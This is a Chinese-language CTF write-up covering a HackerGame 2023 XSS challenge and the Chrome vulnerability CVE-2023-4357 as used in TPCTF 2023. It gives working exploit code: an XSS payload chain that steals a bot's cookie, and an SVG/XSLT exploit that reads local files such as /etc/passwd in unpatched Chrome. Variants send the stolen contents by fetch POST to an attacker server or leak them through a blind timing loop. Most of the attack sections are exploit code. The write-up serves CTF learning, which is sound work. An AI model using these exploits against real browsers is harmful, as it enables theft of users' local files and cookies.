Last updated on November 30, 2023 am
HackerGame-XSS & CVE-2023-4357 & TPCTF 2023
记录一些个复现
前言
这次TPCTF出了两道CVE-2023-4357的题目,而且还借用了HackerGame2023
的中微积分练习题
的一个bot脚本。于是正好借此机会,复现一下HG的这道题目,同时也学习一下这个CVE的利用姿势
微积分计算小练习 2.0
评论界面分析
随便输入那几道微积分的答案后会进入一个评论界面
在这里输入的评论会被拼接进html里面,f12查看源码可以看到如下的语句
1
| updateElement("#comment", "你留下的评论:123123");
|
于是在这里就有一种注入方式,如果我们的输入带有双引号"123123"
,就会变成这样子
1
| updateElement("#comment", "你留下的评论:"123123"");
|
也就是会把前项闭合
如果说再带一个加号"+123123+"
,就会变成这样
1
| updateElement("#comment", "你留下的评论:"+123123+"");
|
这就相当于把输入独立出来,如果把这里面的123123
换成一些JS语句,那么JS语句执行的结果就会被拼接进这个评论里面,从而达到攻击目的。类似于这样
1
| updateElement("#comment", "你留下的评论:"+JS+"");
|
把JS换成location,会得到这个结果
这就验证了注入的可能性。
bot分析
但此时会发现这个评论将字符数量卡在25以内,很难利用。但是题目中也给了提示,即bot会查看我们的弹窗
在js中弹窗函数是这个:
1
| window.open(url, target, windowFeatures)
|
其中url是弹窗要转去的地址,target是转去之后窗口的名字,在任意一个窗口输入如下语句
1
| window.open("https://www.example.com","test")
|
浏览器可能会阻止弹窗,点击允许弹窗后就会转去另一个窗口
在另一个窗口控制台输入如下语句
就会得到窗口名字
这个地方注意,使用window.name
与name
是等效的,也就是会有一个默认的window
全局变量。这其实与window.alert(1)
与alert(1)
是一样道理。
解题思路
我们可以往评论区插入一部分JS代码,而后Bot会执行我们的html代码。因此我们需要在评论插入{1:location=name}
语句,在我们自己的html处设置name为我们想要的JS语句,再跳转至界面,就可以执行我们的JS语句
step1:先在评论区插入"+{1:location=name}+"
step2:构造一个html
1 2 3 4 5 6 7
| <script> window.name = "javascript:document.querySelector('textarea').value=document.cookie.replace(/%/g,'#').substring(0,20);document.querySelector('button').click()"; location.href = "http://web/result"; </script>
|
step3提取flag
CVE-2023-4357
网上已经有很多对此漏洞的分析,这里只作出复现步骤
版本:Google Chrome < 116.0.5845.96
在服务器上准备此exp
exp:
exp.svg
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY flag SYSTEM "file:///etc/passwd"><!-- 这里换敏感目录--> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <p class="flag">&flag;</p>
</body> </xsl:template> </xsl:stylesheet>
|
使用有漏洞的浏览器访问
如果需要外带则加上一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY flag SYSTEM "file:///etc/passwd"><!-- 这里换敏感目录--> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <p class="flag">&flag;</p> <script> var data = document.querySelector(".flag").textContent; fetch("http://服务器地址:端口", { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: data }) </script> </body> </xsl:template> </xsl:stylesheet>
|
先在服务器上监听
然后等待别人访问服务器上的exp.svg
TPCTF 2023
xssbot
这题目给了两个附件,一个是bot.py,一个是dockerfile,其中bot.py与hackergame那题几乎一模一样,处理逻辑也是相当。为了复现题目,我们可以使用提供的dockerfile来构建一个镜像
然后运行
1
| docker run -it --rm 镜像名字
|
运行之后会要求输入一个文件名,这个可以随意
然后就是输入exp.svg来进行攻击,这里与上面的exp.svg是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY flag SYSTEM "file:///etc/passwd"><!-- 这里换敏感目录--> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <p class="flag">&flag;</p> <script> var data = document.querySelector(".flag").textContent; fetch("http://服务器地址:端口", { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: data }) </script> </body> </xsl:template> </xsl:stylesheet>
|
不过这里我依然使用/etc/passwd
作为敏感目录,比赛中换为/flag
即可
随后就能在服务器上收到消息了
xssbot but no Internet
这题与上题一样,不过没有网络链接,需要使用盲注,稍微改下exp即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY flag SYSTEM "file:///etc/passwd"><!-- 这里换敏感目录--> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <p class="flag">&flag;</p> <script> var data = document.querySelector(".flag").textContent; if(data[0]!=0){ while(true) { console.log(1) } } </script> </body> </xsl:template> </xsl:stylesheet>
|